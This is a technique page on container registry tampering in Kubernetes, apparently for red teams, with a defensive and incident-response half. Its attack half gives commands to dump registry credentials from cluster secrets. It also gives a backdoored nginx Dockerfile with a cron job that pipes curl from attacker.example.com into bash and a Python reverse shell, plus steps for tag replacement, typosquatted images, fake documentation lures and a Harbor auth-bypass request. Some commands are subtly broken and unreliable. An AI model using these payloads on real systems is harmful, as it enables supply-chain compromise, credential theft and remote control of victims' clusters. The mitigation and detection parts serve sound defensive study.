| Attribute | Details |
|---|---|
| Technique ID | K8S-SUPPLY-002 |
| MITRE ATT&CK v18.1 | T1195.001 - Supply Chain Compromise: Compromise Software Repository |
| Tactic | Initial Access / Supply Chain Compromise |
| Platforms | Kubernetes |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Kubernetes 1.14+ (all versions), Docker/Container runtime all versions |
| Patched In | N/A - Requires defensive controls, not a patched vulnerability |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Container Image Registry Tampering is a supply chain attack where an attacker gains unauthorized access to a container image registry (Docker Hub, ECR, GCR, ACR, Nexus, Harbor) and replaces legitimate images with malicious ones. When Kubernetes operators deploy applications using image tags (e.g., nginx:latest), they unwittingly pull and run compromised container images. Attackers exploit weak registry credentials, unpatched registry vulnerabilities, or social engineering to establish persistence, deploy backdoors, exfiltrate data, or perform cryptojacking. The attack is stealthy because the malicious image appears legitimate to operators unfamiliar with the image’s integrity.
Attack Surface: Container image registries including public registries (Docker Hub, Quay), cloud-native registries (AWS ECR, Azure ACR, Google GCR), and self-hosted registries (Harbor, Nexus, ChartMuseum). The attack leverages image tags (mutable references) instead of immutable SHA256 digests to enable replacement attacks.
Business Impact: Complete cluster compromise, cryptojacking, data exfiltration, backdoor installation, lateral movement to host infrastructure. Organizations running tampered images face immediate container compromise, ability for attackers to access Kubernetes secrets, persistent access through backdoored containers, and supply chain pollution affecting all downstream users of the compromised image.
Technical Context: Image replacement can occur silently during pod startup. Operators are unaware because image references remain identical; only the underlying image content changes. Detection requires image scanning, signature verification, or digest-based deployments rather than tag-based ones.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Kubernetes | 5.1.1 / 5.1.2 | Enforce image pull policies; use only approved registries |
| CIS Docker | 4.1 / 4.2 | Image security and registry access controls |
| NIST 800-53 | SA-4 / SI-7 | Software integrity and supply chain security |
| GDPR | Art. 32 | Security measures and integrity verification |
| NIS2 | Art. 21 | Cyber risk management and supply chain protection |
| ISO 27001 | A.14.1 | Supplier relationships and information security |
Supported Versions:
Tools:
# Find Docker credentials in Kubernetes secrets
kubectl get secrets -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.type}{"\n"}{end}' | grep docker
# Extract registry credentials from pod spec
kubectl get pods -A -o jsonpath='{range .items[*]}{.spec.imagePullSecrets[*].name}{"\n"}{end}'
# Check for hardcoded credentials in environment variables
kubectl get pods -A -o jsonpath='{range .items[*]}{.spec.containers[*].env[*]}{"\n"}{end}'
What to Look For:
docker-registry type secrets containing base64-encoded credentials# Verify registry accessibility and authentication
docker login -u <username> -p <password> <registry-url>
# Test registry API access
curl -u <username>:<password> https://<registry>/v2/_catalog
# Enumerate images in registry
curl -u <username>:<password> https://<registry>/v2/<repo>/tags/list
# Check current image digest
docker pull <image>:<tag>
docker inspect <image>:<tag> | grep -i sha256
What to Look For:
# Enumerate image pull policies across all pods
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.spec.containers[*].imagePullPolicy}{"\n"}{end}'
# Identify pods using tag-based images instead of digests
kubectl get pods -A -o jsonpath='{range .items[*]}{.spec.containers[*].image}{"\n"}{end}' | grep -v "sha256:"
What to Look For:
imagePullPolicy: Always means image is re-pulled on every restart (vulnerable to replacement)imagePullPolicy: IfNotPresent means cached image is used (less vulnerable but still risky)nginx:latest) are mutable and exploitableSupported Versions: Kubernetes 1.14+, all container registries
Objective: Compromise credentials for target container registry through phishing, credential stuffing, or social engineering
Command (Credential Acquisition):
# Attacker obtains credentials through various means:
# 1. Phishing: "Please verify your Docker Hub credentials"
# 2. GitHub credential scanning: Find .docker/config.json in public repositories
# 3. Container image inspection: Extract hardcoded credentials from image layers
# 4. Environment variable exposure: Kubernetes secret dump
# Example: Extract from Kubernetes secret
kubectl get secret <registry-secret> -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d
Expected Output:
{
"auths": {
"docker.io": {
"username": "victim-org",
"password": "abc123...xyz",
"auth": "dmljdGltLW9yZzphYmMxMjM..."
}
}
}
What This Means:
OpSec & Evasion:
Objective: Create compromised image containing backdoor/payload
Command (Backdoored Image Creation):
# Dockerfile with hidden backdoor
FROM nginx:latest
# Legitimate nginx setup
COPY nginx.conf /etc/nginx/nginx.conf
# Hidden backdoor: Install reverse shell tools
RUN apt-get update && \
apt-get install -y netcat-openbsd curl && \
echo "*/5 * * * * curl http://attacker.example.com/beacon | bash" | crontab - && \
rm -rf /var/lib/apt/lists/*
# Alternative: Python reverse shell
RUN python3 -m pip install pwntools && \
echo "import socket; s=socket.socket(); s.connect(('attacker.example.com',4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); import subprocess; subprocess.call(['/bin/bash','-i'])" > /tmp/shell.py
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["nginx", "-g", "daemon off;"]
Build Command:
docker build -t attacker-registry.example.com/nginx:latest .
docker push attacker-registry.example.com/nginx:latest
# Or push to legitimate registry with compromised credentials
docker build -t docker.io/victim-org/nginx:latest .
docker push docker.io/victim-org/nginx:latest
Expected Output:
Sending build context to Docker daemon
Successfully built abc123def456
latest: digest: sha256:abc123def456...xyz pushed
What This Means:
OpSec & Evasion:
Objective: Cause Kubernetes operator to pull and deploy malicious image by replacing legitimate image in registry
Command (Tag Replacement - Mutable Tag Attack):
# Using compromised credentials, attacker replaces image tag
docker pull docker.io/victim-org/nginx:latest
docker tag docker.io/victim-org/nginx:latest attacker-image:latest
docker push attacker-image:latest docker.io/victim-org/nginx:latest
# Alternative: Direct tag manipulation via registry API
curl -X PUT -H "Authorization: Bearer <token>" \
https://docker.io/v2/victim-org/nginx/manifests/latest \
-d @malicious-manifest.json
Expected Output:
latest: digest: sha256:malicious123456...xyz
What This Means:
docker.io/victim-org/nginx:latest now points to malicious imageOpSec & Evasion:
Supported Versions: Kubernetes 1.14+, all container registries
Objective: Create registry/image with name similar to legitimate source
Command (Typosquatted Image Creation):
# Option 1: Register on public registry with typosquatted name
docker build -t docker.io/attacker-org/nignx:latest . # nignx vs nginx
docker push docker.io/attacker-org/nignx:latest
# Option 2: Use subdomain typosquatting
docker build -t images.docker.io/nginx:latest .
docker push images.docker.io/nginx:latest
# Option 3: Capital letter confusion
docker build -t docker.io/NginX:latest .
docker push docker.io/NginX:latest
Expected Output:
Pushed successfully to docker.io/attacker-org/nignx:latest
What This Means:
Command (Social Engineering):
# Publish fake documentation suggesting:
# "For best performance, use: docker pull docker.io/attacker-org/nignx:latest"
# Or create GitHub repositories recommending malicious image
What This Means:
Supported Versions: Registry-specific (Harbor, Nexus, etc.)
Objective: Find unpatched registry vulnerability
Command (Registry Enumeration):
# Scan for exposed registries
nmap -p 443,5000 <target-range>
# Identify registry version
curl https://<registry>:5000/v2/ -H "Authorization: Bearer <token>"
curl https://<registry>/api/v2.0/systeminfo # Harbor
# Check for known vulnerabilities
searchsploit harbor # Example: CVE-2021-22207
Expected Output:
HTTP 401 Unauthorized (indicates registry present)
{"version":"v2.3.1"}
Command (Example: Harbor RBAC Bypass):
# Exploit vulnerability to bypass authentication
curl -X PUT https://<harbor-registry>/api/v2.0/projects \
-H "Content-Type: application/json" \
-d '{"project_name":"malicious","public":true}'
# Push malicious image to newly created project
docker push <harbor-registry>/malicious/nginx:latest
What This Means:
Enforce Image Signature Verification: Deploy image signature verification to prevent unsigned/untrusted images.
Manual Steps (Using Cosign + Kyverno):
curl -Lo cosign https://github.com/sigstore/cosign/releases/latest/download/cosign-linux-amd64
chmod +x cosign
cosign generate-key-pair
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace
Use Image Digests Instead of Tags: Force deployments to use immutable SHA256 digests rather than mutable tags.
Manual Steps:
kubectl get pods -A -o jsonpath='{.items[*].spec.containers[*].image}'
docker inspect docker.io/nginx:latest | grep -i sha256
# Result: sha256:abc123def456...xyz
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx
spec:
template:
spec:
containers:
- name: nginx
image: docker.io/nginx@sha256:abc123def456...xyz # Use digest, not tag
Implement Registry Access Controls: Restrict registry access to approved users and networks.
Manual Steps (Harbor Example):
trusted-imagesimage-pusher with push permissionskubectl create secret docker-registry regcred \
--docker-server=<harbor-registry> \
--docker-username=<username> \
--docker-password=<password>
Scan Images for Vulnerabilities: Implement automated image scanning in CI/CD pipeline.
Manual Steps (Using Trivy):
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin
trivy image --severity HIGH,CRITICAL docker.io/nginx:latest
Enable Registry Audit Logging: Monitor and log all registry activities.
Manual Steps:
log: level: info outputs:
# Monitor for failed pushes or unauthorized access
grep -i "unauthorized\|push\|delete" /var/log/registry.log
Implement ImagePolicyWebhook: Control which images can be deployed via admission controller.
Manual Steps:
{
"imagePolicy": {
"kubeConfigFile": "/etc/kubernetes/image-policy-webhook.yaml",
"allowTTL": 50,
"denyTTL": 50,
"retryBackoff": 500,
"defaultAllow": false
}
}
Network Policies: Restrict container egress to prevent data exfiltration.
Manual Steps:
# Verify image signature enforcement
kubectl get clusterpolicy | grep signature
# Verify all images use digests
kubectl get pods -A -o jsonpath='{.items[*].spec.containers[*].image}' | grep -v "@sha256:"
# Verify registry audit logging enabled
curl -H "Authorization: Bearer <token>" https://<registry>/api/v2.0/auditlogs | head
# Verify network policies active
kubectl get networkpolicies -A
Expected Output (If Secure):
NAME VALIDATIONACTION
require-image-signatures enforce
# No output = all images use digests
# Registry audit logs showing all push/pull activities
docker history <image>:<tag>
docker inspect <image>:<tag>
# Harbor API
curl -H "Authorization: Bearer <token>" https://<harbor>/api/v2.0/auditlogs
# Docker Hub - check push timestamps
curl https://hub.docker.com/v2/repositories/<org>/<repo>/tags/
kubectl logs -n kube-system kube-apiserver-<node> | grep -i "image\|pull"
kubectl exec -it <pod> -n <namespace> -- /bin/sh
ps aux # Check running processes
env # Check environment variables
netstat -an # Check network connections
# Immediately delete affected pod
kubectl delete pod <pod-name> -n <namespace> --grace-period=0 --force
# Quarantine affected namespace
kubectl label namespace <namespace> quarantine=true
# Block image from registry
curl -X DELETE -H "Authorization: Bearer <token>" \
https://<registry>/v2/<repo>/manifests/<digest>
# Export container logs
kubectl logs <pod-name> -n <namespace> --all-containers=true > pod-logs.txt
# Snapshot running processes before deletion
kubectl exec <pod-name> -n <namespace> -- ps aux > processes.txt
# Export image layers for analysis
docker save <image>:<tag> > image-snapshot.tar
# Capture network connections
kubectl exec <pod-name> -n <namespace> -- netstat -an > netstat.txt
# Update all deployments to use clean image digest
kubectl set image deployment/<name> \
<container>=<image>@sha256:<clean-digest> -n <namespace>
# Rotate registry credentials
kubectl delete secret regcred -n <namespace>
kubectl create secret docker-registry regcred \
--docker-username=<new-user> --docker-password=<new-password>
# Reset image pull policy
kubectl patch deployment <name> -n <namespace> -p \
'{"spec":{"template":{"spec":{"containers":[{"name":"<container>","imagePullPolicy":"Always"}]}}}}'
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Persistence | [K8S-SUPPLY-001] | Helm Chart Repository Poisoning |
| 2 | Initial Access | [K8S-SUPPLY-002] | Container Image Registry Tampering |
| 3 | Execution | Container Backdoor Deployment | Malicious container starts automatically |
| 4 | Privilege Escalation | Container Escape | Break out to host using kernel vulnerabilities |
| 5 | Impact | Cryptojacking / Data Exfiltration | Mine cryptocurrency or steal data |